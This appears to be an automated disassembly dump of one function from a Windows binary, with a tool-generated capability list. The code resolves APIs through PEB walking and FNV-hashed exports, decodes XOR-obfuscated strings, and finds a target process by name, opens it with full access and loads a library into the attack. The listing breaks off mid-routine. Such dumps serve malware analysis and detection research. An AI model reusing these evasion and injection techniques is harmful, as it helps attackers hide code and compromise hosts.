Function at 0x1400739c0
Capabilities:
Access peb ldr_data
Delete file
Download url
Encode data using xor
Enumerate processes
Execute command
Hash data using fnv
Receive data
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x758]
sub rsp, 0x830
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rbp + 0x6f0], rax
xor r14d, r14d
mov dword [rbp + 0xf0], r14d
lea rcx, [0x140117ff0]
call fcn.1400902e0
lea rax, [rbp + 0x160]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], r14
lea rax, [0x140117c38]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x140073a50
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], r14
lea rax, [0x140117c58]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140073a90
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.140012c50
nop
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x118]
lea rcx, [0x140117ff0]
call fcn.140092220
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140118200], 0
jne 0x140073c4a
lea rdx, [0x140118208]
lea rcx, [rbp + 0x138]
call fcn.14005e890
nop
lea rcx, [rbp + 0x138]
call fcn.140035fb0
mov r9, rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140012ac0
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r8, rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov rdx, rbx
lea rcx, [rbp + 0x240]
call fcn.14007ec80
nop
lea rcx, [rbp + 0x240]
call fcn.14005e700
mov r10, rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.140012ac0
mov r8, rax
lea rcx, [rbp + 0x138]
call fcn.140035fb0
mov r9, rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r10
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140073c06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073c06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140073c01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140073be0
cmp r8d, 0x31a98fee
je 0x140073c0b
test r9d, r9d
jne 0x140073bc0
mov rax, qword [rax]
jmp 0x140073b90
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
lea rcx, [rbp + 0x240]
call fcn.14005e700
xor r9d, r9d
lea r8, str.Error
mov rdx, rax
xor ecx, ecx
call r10
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r14
mov qword [rbp + 0x178], r14
mov r8d, 6
lea rdx, str.EncKey
lea rcx, [rbp + 0x160]
call fcn.140012c50
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x240]
lea rcx, [0x140117ff0]
call fcn.140096a60
mov rbx, rax
lea rdi, [0x140117da0]
cmp rdi, rax
je 0x140073d1e
mov rdx, qword [0x140117db8]
cmp rdx, 0x10
jb 0x140073ce1
mov rcx, qword [0x140117da0]
inc rdx
cmp rdx, 0x1000
jb 0x140073cdc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140073d56
mov rcx, r8
call fcn.1400e44b0
mov qword [0x140117db0], r14
mov qword [0x140117db8], 0xf
mov byte [0x140117da0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140117da0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140117db0], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x258]
cmp rdx, 0x10
jb 0x140073d62
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073d5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140117db8], 0x10
cmovae rdi, qword [0x140117da0]
lea rcx, [0x140118268]
cmp qword [0x140118280], 0x10
cmovae rcx, qword [0x140118268]
mov r8, qword [0x140118278]
cmp r8, qword [0x140117db0]
jne 0x14007611d
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007611d
lea rcx, [rbp + 0x138]
call fcn.14006fb20
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140073e56
lea r8, [rcx + 1]
mov qword [rbx + 0x10], r8
mov rdi, rbx
cmp rdx, 0x10
jb 0x140073def
mov rdi, qword [rbx]
lea rax, [0x1400fe459]
lea r15, [0x1400fe458]
cmp rax, rdi
jbe 0x140073e18
lea rax, [rdi + rcx]
cmp r15, rax
ja 0x140073e18
cmp rdi, r15
jbe 0x140073e1e
mov r14, rdi
sub r14, r15
jmp 0x140073e1e
mov r14d, 1
lea rcx, [rdi + 1]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + r14]
mov r8d, 1
sub r8, r14
lea rdx, [r15 + 1]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
jmp 0x140073e80
mov qword [rsp + 0x28], 1
lea r15, [0x1400fe458]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rbx
call fcn.140061390
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x128], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov r8d, 1
lea rdx, [0x1400fe454]
lea rcx, [rbp + 0x118]
call fcn.140012b80
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], r14
mov qword [rbp + 0x298], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x140073f52
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073f4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073f4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x128], xmm0
mov byte [rbp + 0x118], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x140073fad
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073fa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x138], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2c0]
call fcn.1400e5878
lea rax, [0x1400fffd0]
mov qword [rbp + 0x2c0], rax
lea rcx, [rbp + 0x368]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0xf0], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2c0], r13
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2bc], edx
lea rcx, [rbp + 0x2c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x2c8], rax
mov byte [rbp + 0x344], 0
mov byte [rbp + 0x339], 0
lea rcx, [rbp + 0x2c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x348], r14
mov rax, qword [0x140118390]
mov qword [rbp + 0x33c], rax
mov qword [rbp + 0x330], r14
mov r8d, 2
lea rdx, str.c:uuid.txt
lea rcx, [rbp + 0x2c8]
call fcn.14005ee80
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2c0]
je 0x1400740dd
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400740eb
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0x280]
cmp qword [rbp + 0x298], 0x10
cmovae rdx, qword [rbp + 0x280]
mov r8, qword [rbp + 0x290]
lea rcx, [rbp + 0x2c0]
call fcn.140081780
lea rcx, [rbp + 0x2c8]
call fcn.14005ec50
test rax, rax
jne 0x140074148
mov rax, qword [rbp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2c0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], r14
mov r8d, 6
lea rdx, str.656324
lea rcx, [rbp + 0x118]
call fcn.140012c50
lea r8, [rbp + 0x118]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
mov rbx, rax
lea rax, [0x140117e58]
cmp rax, rbx
je 0x140074219
mov rcx, qword [0x140117e58]
test rcx, rcx
je 0x1400741ee
mov rdx, qword [0x140117e68]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400741d7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007424c
mov rcx, r8
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [0x140117e58], xmm0
mov qword [0x140117e68], r14
mov rax, qword [rbx]
mov qword [0x140117e58], rax
mov rax, qword [rbx + 8]
mov qword [0x140117e60], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140117e68], rax
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140074258
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074253
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074253
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, qword [0x140117e60]
mov rdx, qword [0x140117e58]
lea rcx, [rbp + 0x240]
call fcn.140080dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], r14
mov r8d, 6
lea rdx, str.173392
lea rcx, [rbp + 0x118]
call fcn.140012c50
lea r8, [rbp + 0x118]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
mov rbx, rax
lea rax, [0x140117d28]
cmp rax, rbx
je 0x140074344
mov rcx, qword [0x140117d28]
test rcx, rcx
je 0x140074319
mov rdx, qword [0x140117d38]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140074302
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140074377
mov rcx, r8
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [0x140117d28], xmm0
mov qword [0x140117d38], r14
mov rax, qword [rbx]
mov qword [0x140117d28], rax
mov rax, qword [rbx + 8]
mov qword [0x140117d30], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140117d38], rax
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140074383
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007437e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007437e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, qword [0x140117d30]
mov rdx, qword [0x140117d28]
lea rcx, [rbp + 0x490]
call fcn.140080dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], r14
mov r8d, 6
lea rdx, str.514613
lea rcx, [rbp + 0x118]
call fcn.140012c50
lea r8, [rbp + 0x118]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
mov rbx, rax
lea rax, [0x140117d10]
cmp rax, rbx
je 0x14007446f
mov rcx, qword [0x140117d10]
test rcx, rcx
je 0x140074444
mov rdx, qword [0x140117d20]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14007442d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400744a2
mov rcx, r8
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [0x140117d10], xmm0
mov qword [0x140117d20], r14
mov rax, qword [rbx]
mov qword [0x140117d10], rax
mov rax, qword [rbx + 8]
mov qword [0x140117d18], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140117d20], rax
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400744ae
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400744a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400744a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, qword [0x140117d18]
mov rdx, qword [0x140117d10]
lea rcx, [rbp + 0x470]
call fcn.140080dd0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r14
mov qword [rbp + 0x130], r14
mov r8d, 6
lea rdx, str.767481
lea rcx, [rbp + 0x118]
call fcn.140012c50
lea r8, [rbp + 0x118]
lea rdx, [rsp + 0x40]
lea rcx, [0x140117ff0]
call fcn.14008dca0
mov rbx, rax
lea rax, [0x140117e88]
cmp rax, rbx
je 0x14007459a
mov rcx, qword [0x140117e88]
test rcx, rcx
je 0x14007456f
mov rdx, qword [0x140117e98]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140074558
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400745cd
mov rcx, r8
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [0x140117e88], xmm0
mov qword [0x140117e98], r14
mov rax, qword [rbx]
mov qword [0x140117e88], rax
mov rax, qword [rbx + 8]
mov qword [0x140117e90], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140117e98], rax
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400745d9
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400745d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400745d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov r8, qword [0x140117e90]
mov rdx, qword [0x140117e88]
lea rcx, [rbp + 0x450]
call fcn.140080dd0
nop
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x70]
call fcn.14005e890
nop
lea rdx, [rbp + 0x490]
lea rcx, [rbp - 0x70]
call fcn.14005e890
nop
lea rdx, [rbp + 0x470]
lea rcx, [rbp - 0x50]
call fcn.14005e890
nop
lea rdx, [rbp + 0x450]
lea rcx, [rbp - 0x30]
call fcn.14005e890
nop
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rbp + 0x40], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x160]
call fcn.14006f7d0
nop
lea rcx, [rsp + 0x70]
call fcn.14006f9d0
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rdx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
add r8, rdx
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rdx, qword [rbp + 0x160]
call fcn.140080c60
movups xmm0, xmmword [str.VLEZXJH]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1401001a8]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x1401001b0]
mov word [rsp + 0x58], ax
mov r8d, r14d
mov r15d, 5
lea r12d, [r15 + 0x1a]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14007484f
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1401004c0]
movq xmm0, qword [str.VLEZXJH]
pxor xmm2, xmm0
movq qword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1401004c0]
movq xmm0, qword [rsp + 0x48]
pxor xmm2, xmm0
movq qword [rsp + 0x48], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140074860
mov dword [rbp + 0x4b0], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x4b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14007490f
lea rdx, [rbp + 0x4b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14007490f
nop dword [rax]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4dc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14007499c
lea rdx, [rbp + 0x4b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x1400748e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, r14d
xor r9d, r9d
lea r8, [0x1400ff484]
lea rdx, [0x1400ff488]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14007496b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r9d, r9d
lea r8, [0x1400ff4b0]
lea rdx, [0x1400ff488]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rbp + 0xf0], r14d
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x1400749ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_confirm_target_process_architecture:_0x_X_n
call fcn.140058650
jmp 0x1400749d6
mov ebx, dword [rbp + 0x4b8]
test ebx, ebx
jne 0x140074934
jmp 0x14007491b
mov dword [rbp + 0x158], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x158]
cmp dword [rbp + 0xf0], eax
je 0x1400749f8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea r8, [0x1400ff4b4]
lea rdx, [0x1400ff488]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [0x140117e70]
mov rcx, rbx
call fcn.1400586b0
test al, al
jne 0x140074a2d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea r8, [0x1400ff4b8]
lea rdx, [0x1400ff488]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [0x140117e70]
mov r8, qword [0x140117e78]
sub r8, rcx
xor edx, edx
call fcn.1400e5878
mov rax, qword [0x140117e70]
cmp rax, qword [0x140117e78]
je 0x140074a5c
mov qword [0x140117e78], rax
mov eax, dword [str.fGPD]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1401001b8]
mov word [rbp + 0xf4], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0xf0], 0x55
xor byte [rbp + 0xf1], 0x34
xor byte [rbp + 0xf2], 0x35
xor byte [rbp + 0xf3], 0x36
xor byte [rbp + 0xf4], 0x37
xor byte [rbp + 0xf5], 0x38
xor al, 0x39
mov byte [rbp + 0xf6], al
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movsd xmm0, qword [str.xQGXRTqSQ_U_]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x1400ff828]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1400ff82c]
mov byte [rsp + 0x4c], al
mov r8d, r14d
cmp edi, 2
jl 0x140074bf9
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401004f0]
movd xmm0, dword [str.xQGXRTqSQ_U_]
pxor xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1401004f0]
movd xmm0, dword [rsp + 0x44]
pxor xmm2, xmm0
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
